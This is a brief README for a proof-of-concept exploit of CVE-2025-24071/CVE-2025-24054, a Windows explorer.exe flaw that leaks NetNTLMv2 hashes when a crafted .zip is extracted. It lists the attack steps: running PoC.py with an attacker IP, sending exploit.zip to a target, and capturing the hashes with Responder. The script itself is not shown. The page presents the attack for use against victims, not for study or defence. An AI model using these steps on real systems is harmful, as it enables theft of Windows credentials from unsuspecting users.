CVE-2025-24071 / CVE-2025-24054 PoC

Edit: MICROSOFT HAS BEEN RENAMED CVE-2025-24071 AS CVE-2025-24054 🤔

Overview

This Windows vulnerability, specifically in 'explorer.exe', allows us to receive a NetNTLMv2 hash from a victim simply by having the attacker extract a .zip file.

Usage

• Execute the script

python PoC.py test 192.168.1.45

• Send "exploit.zip" to the target, and then you can use Responder in order to recive the NTLMv2 hash

sudo python3 responder.py -I ens33

• Now when the target extract the file .zip, Boom! we get the NTLM hashes